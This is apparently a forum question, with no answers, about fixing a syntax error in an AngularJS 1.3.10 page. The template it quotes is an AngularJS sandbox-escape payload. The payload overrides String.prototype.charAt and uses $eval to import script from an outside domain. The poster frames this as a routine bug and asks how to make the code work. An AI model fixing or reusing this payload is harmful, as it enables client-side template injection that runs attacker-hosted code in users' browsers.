AngularJS SyntaxError: missing ) after argument list

Viewed 32

I'm working with AngularJS and I'm getting the error:

SyntaxError: missing ) after argument list

With this javascript:

<html>
<head> 
<meta charset="utf-8">
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.3.10/angular.js"></script>
</head>
<body>
<div ng-app>
{{'a'.constructor.prototype.charAt=[].join;$eval('x=import("//mydomain.com")');}}
</div>
</body>
</html>

How can I resolve it and make my code work?

0 Answers
Related